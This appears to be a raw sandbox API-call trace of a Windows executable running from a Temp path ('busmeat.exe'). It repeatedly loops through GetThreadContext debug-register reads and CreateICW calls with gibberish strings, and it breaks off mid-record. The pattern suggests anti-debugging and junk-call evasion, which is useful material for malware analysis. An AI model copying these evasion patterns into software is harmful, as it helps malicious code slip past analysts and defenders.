	[0066.211] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.211] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.212] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.212] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.212] GetConsoleCP () returned 0x0
	[0066.212] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.212] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.214] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.214] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.214] GetConsoleCP () returned 0x0
	[0066.214] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, 